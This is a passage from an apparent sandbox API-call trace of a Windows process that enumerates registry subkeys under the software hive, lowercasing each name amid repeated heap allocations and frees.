Size=0x40) returned 0x21ebc58 [0038.861] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ebce8 [0038.861] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ebd30 [0038.861] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ebd78 [0038.861] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ebdc0 [0038.861] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ebe08 [0038.861] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ebe50 [0038.861] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ebe98 [0038.861] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ebee0 [0038.861] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ebf28 [0038.861] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ebf70 [0038.861] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ebfb8 [0038.861] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec000 [0038.861] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec048 [0038.861] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec090 [0038.861] RegCloseKey (hKey=0x80000002) returned 0x0 [0038.861] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x21eb930, cchName=0x104 | out: lpName="ATI Technologies") returned 0x0 [0038.861] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ebbb8 [0038.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0038.861] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec0d8 [0038.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0x21ec0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ati technologies", lpUsedDefaultChar=0x0) returned 16 [0038.861] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec120 [0038.861] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec0d8) returned 1 [0038.861] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec120) returned 1 [0038.861] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ebbb8) returned 1 [0038.861] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x21eb930, cchName=0x104 | out: lpName="CBSTEST") returned 0x0 [0038.861] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ebbb8 [0038.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0038.861] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec120 [0038.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0x21ec120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cbstest", lpUsedDefaultChar=0x0) returned 7 [0038.861] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec0d8 [0038.861] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec120) returned 1 [0038.861] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec0d8) returned 1 [0038.861] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ebbb8) returned 1 [0038.861] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x21eb930, cchName=0x104 | out: lpName="Classes") returned 0x0 [0038.862] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ebbb8 [0038.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0038.862] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec0d8 [0038.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x21ec0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="classes", lpUsedDefaultChar=0x0) returned 7 [0038.862] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec120 [0038.862] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec0d8) returned 1 [0038.862] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec120) returned 1 [0038.862] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ebbb8) returned 1 [0038.862] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x21eb930, cchName=0x104 | out: lpName="Clients") returned 0x0 [0038.862] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ebbb8 [0038.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0038.862] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec120 [0038.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x21ec120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clients", lpUsedDefaultChar=0x0) returned 7 [0038.862] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec0d8 [0038.862] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec120) returned 1 [0038.862] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec0d8) returned 1 [0038.862] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ebbb8) returned 1 [0038.862] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x21eb930, cchName=0x104 | out: lpName="Intel") returned 0x0 [0038.862] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ebbb8 [0038.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0038.862] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec0d8 [0038.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0x21ec0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intel", lpUsedDefaultChar=0x0) returned 5 [0038.862] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec120 [0038.862] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec0d8) returned 1 [0038.862] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec120) returned 1 [0038.862] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ebbb8) returned 1 [0038.862] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x21eb930, cchName=0x104 | out: lpName="Macromedia") returned 0x0 [0038.862] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ebbb8 [0038.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0038.862] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec120 [0038.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x21ec120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="macromedia", lpUsedDefaultChar=0x0) returned 10 [0038.862] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec0d8 [0038.862] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec120) returned 1 [0038.862] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec0d8) returned 1 [0038.862] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ebbb8) returned 1 [0038.862] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x21eb930, cchName=0x104 | out: lpName="Microsoft") returned 0x0 [0038.862] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ebbb8 [0038.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0038.863] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec0d8 [0038.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x21ec0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft", lpUsedDefaultChar=0x0) returned 9 [0038.863] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec120 [0038.863] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec0d8) returned 1 [0038.863] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec120) returned 1 [0038.863] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ebbb8) returned 1 [0038.863] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="Microsoft", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x38) returned 0x0 [0038.863] RegCloseKey (hKey=0xc4) returned 0x0 [0038.863] RegEnumKeyW (in: hKey=0x38, dwIndex=0x0, lpName=0x21eb930, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0038.863] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ebbb8 [0038.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0038.863] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec120 [0038.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21ec120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0038.863] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec0d8 [0038.863] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec120) returned 1 [0038.863] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec0d8) returned 1 [0038.863] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ebbb8) returned 1 [0038.863] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1, lpName=0x21eb930, cchName=0x104 | out: lpName="Active Setup") returned 0x0 [0038.863] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ebbb8 [0038.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.863] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec0d8 [0038.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x21ec0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="active setup", lpUsedDefaultChar=0x0) returned 12 [0038.863] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec120 [0038.863] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec0d8) returned 1 [0038.863] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec120) returned 1 [0038.863] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ebbb8) returned 1 [0038.863] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2, lpName=0x21eb930, cchName=0x104 | out: lpName="ADs") returned 0x0 [0038.863] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ebbb8 [0038.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0038.863] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec120 [0038.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0x21ec120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ads", lpUsedDefaultChar=0x0) returned 3 [0038.863] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec0d8 [0038.863] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec120) returned 1 [0038.864] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec0d8) returned 1 [0038.864] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ebbb8) returned 1 [0038.864] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3, lpName=0x21eb930, cchName=0x104 | out: lpName="Advanced INF Setup") returned 0x0 [0038.864] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ebbb8 [0038.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0038.864] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec0d8 [0038.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x21ec0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="advanced inf setup", lpUsedDefaultChar=0x0) returned 18 [0038.864] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec120 [0038.864] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec0d8) returned 1 [0038.864] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec120) returned 1 [0038.864] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ebbb8) returned 1 [0038.864] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4, lpName=0x21eb930, cchName=0x104 | out: lpName="ALG") returned 0x0 [0038.864] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ebbb8 [0038.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0038.864] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec120 [0038.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21ec120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0038.864] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec0d8 [0038.864] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec120) returned 1 [0038.864] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec0d8) returned 1 [0038.864] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ebbb8) returned 1 [0038.864] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5, lpName=0x21eb930, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0038.864] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ebbb8 [0038.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0038.864] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec0d8 [0038.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21ec0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0038.864] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec120 [0038.864] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec0d8) returned 1 [0038.864] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec120) returned 1 [0038.864] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ebbb8) returned 1 [0038.864] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6, lpName=0x21eb930, cchName=0x104 | out: lpName="Assistance") returned 0x0 [0038.864] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ebbb8 [0038.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0038.864] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec120 [0038.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x21ec120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="assistance", lpUsedDefaultChar=0x0) returned 10 [0038.864] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec0d8 [0038.864] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec120) returned 1 [0038.864] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec0d8) returned 1 [0038.864] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ebbb8) returned 1 [0038.864] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7, lpName=0x21eb930, cchName=0x104 | out: lpName="BidInterface") returned 0x0 [0038.865] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ebbb8 [0038.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.865] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec0d8 [0038.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0x21ec0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bidinterface", lpUsedDefaultChar=0x0) returned 12 [0038.865] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec120 [0038.865] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec0d8) returned 1 [0038.865] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec120) returned 1 [0038.865] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ebbb8) returned 1 [0038.865] RegEnumKeyW (in: hKey=0x38, dwIndex=0x8, lpName=0x21eb930, cchName=0x104 | out: lpName="COM3") returned 0x0 [0038.865] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ebbb8 [0038.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0038.865] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec120 [0038.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0x21ec120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="com3", lpUsedDefaultChar=0x0) returned 4 [0038.865] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec0d8 [0038.865] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec120) returned 1 [0038.865] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec0d8) returned 1 [0038.865] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ebbb8) returned 1 [0038.865] RegEnumKeyW (in: hKey=0x38, dwIndex=0x9, lpName=0x21eb930, cchName=0x104 | out: lpName="Command Processor") returned 0x0 [0038.865] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ebbb8 [0038.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0038.865] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec0d8 [0038.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x21ec0d8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="command processor", lpUsedDefaultChar=0x0) returned 17 [0038.865] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec120 [0038.865] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec0d8) returned 1 [0038.865] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec120) returned 1 [0038.865] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ebbb8) returned 1 [0038.865] RegEnumKeyW (in: hKey=0x38, dwIndex=0xa, lpName=0x21eb930, cchName=0x104 | out: lpName="Connect to a Network Projector") returned 0x0 [0038.865] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ebbb8 [0038.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0038.865] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec120 [0038.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0x21ec120, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="connect to a network projector", lpUsedDefaultChar=0x0) returned 30 [0038.865] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec0d8 [0038.865] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec120) returned 1 [0038.865] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec0d8) returned 1 [0038.865] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ebbb8) returned 1 [0038.865] RegEnumKeyW (in: hKey=0x38, dwIndex=0xb, lpName=0x21eb930, cchName=0x104 | out: lpName="Cryptography") returned 0x0 [0038.865] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ebbb8 [0038.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.866] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec0d8 [0038.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0x21ec0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptography", lpUsedDefaultChar=0x0) returned 12 [0038.866] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec120 [0038.866] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec0d8) returned 1 [0038.866] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec120) returned 1 [0038.866] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ebbb8) returned 1 [0038.866] RegEnumKeyW (in: hKey=0x38, dwIndex=0xc, lpName=0x21eb930, cchName=0x104 | out: lpName="CTF") returned 0x0 [0038.866] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ebbb8 [0038.866] 